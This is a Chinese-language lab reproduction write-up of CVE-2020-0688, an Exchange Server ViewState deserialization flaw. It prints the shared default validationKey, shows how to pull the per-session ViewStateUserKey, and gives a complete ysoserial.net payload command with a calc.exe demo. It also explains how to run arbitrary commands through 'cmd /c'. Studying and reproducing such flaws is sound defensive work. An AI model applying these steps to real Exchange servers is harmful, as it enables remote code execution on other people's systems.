漏洞编号:CVE-2020-0688
漏洞描述:攻击者向存在缺陷的Exchange服务器发送经过特殊处理的电子邮件即可触发漏洞。这个漏洞是由于Exchange服务器在安装时没有正确地创建唯一的加密密钥所造成的。
具体来说,与每次软件安装都会产生随机密钥不同,所有Exchange Server在安装后的web.config文件中都拥有相同的validationKey和decryptionKey。这些密钥用于保证ViewState的安全性。而ViewState是ASP.NET Web应用以序列化格式存储在客户机上的服务端数据。客户端通过__VIEWSTATE请求参数将这些数据返回给服务器。攻击者可以在Exchange Control Panel web应用上执行任意.net代码。
参考链接:https://nosec.org/home/detail/4158.html
影响版本:exchange 2010、2013、2016、2019全版本通杀。
漏洞复现:
复现环境:server 12 + exchange 2013 15.0.516.32(2012 年12月3日)和15.0.1497.2(2019年6月18日)两版。
复现过程:
1、获取ViewStateUserKey值
/ecp/default.aspx
F12键打开开发工具的Network选项,然后按F5重新发送请求。我们需要找到登录时/ecp/default.aspx的原始响应:
2、获取取VIEWSTATEGENERATOR值:
同样在/ecp/default.aspx的响应包内,直接搜索关键词即可。
或使用document.getElementById("VIEWSTATEGENERATOR").value
如果发现没有改字段,是因为系统没有安装KB2919355补丁,更新该补丁后可显示,但是该字段值基本唯一,不需要刻意获得。
3.整理已知参数
--validationkey = CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF(默认,漏洞产生原因)
--validationalg = SHA1(默认,漏洞产生原因)
--generator = B97B4E27(基本默认)
--viewstateuserkey = d673d1a4-1794-403e-ab96-e283ca880ef2(手工获取,变量,每次登陆都不一致)
4.生成payload:
.\ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "calc.exe" --validationalg="SHA1" --validationkey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF" --generator="B97B4E27" --viewstateuserkey="d673d1a4-1794-403e-ab96-e283ca880ef2" --isdebug --islegacy
5.上面ysoserial.exe生成的payload要用URL Encode编码:
7.成功弹出计算器:
//ysoserial.exe下载:
https://github.com/pwntester/ysoserial.net
https://github.com/Jumbo-WJB/CVE-2020-0688
https://github.com/random-robbie/cve-2020-0688
//Exchange版本和各更新包下载:
https://docs.microsoft.com/zh-cn/Exchange/new-features/build-numbers-and-release-dates?view=exchserver-2016
8.无法创建文件
无法创建文件这一点其实最坑了,明明可以启动calc.exe但是就是不能创建文件,导致我最初一直以为是版本问题或者__VIEWSTATEGENERATOR参数问题。但是后来经过测试发现虽然在演示过程中直接-c "echo OOOPS!!! > c:/Vuln_Server.txt"创建文件,让人误以为-c是在cmd窗口下运行,但是实际上-c实际为“运行”的内容,因此直接echo是不行的,需要-c "cmd /c echo test > C:\1.txt"这样创建。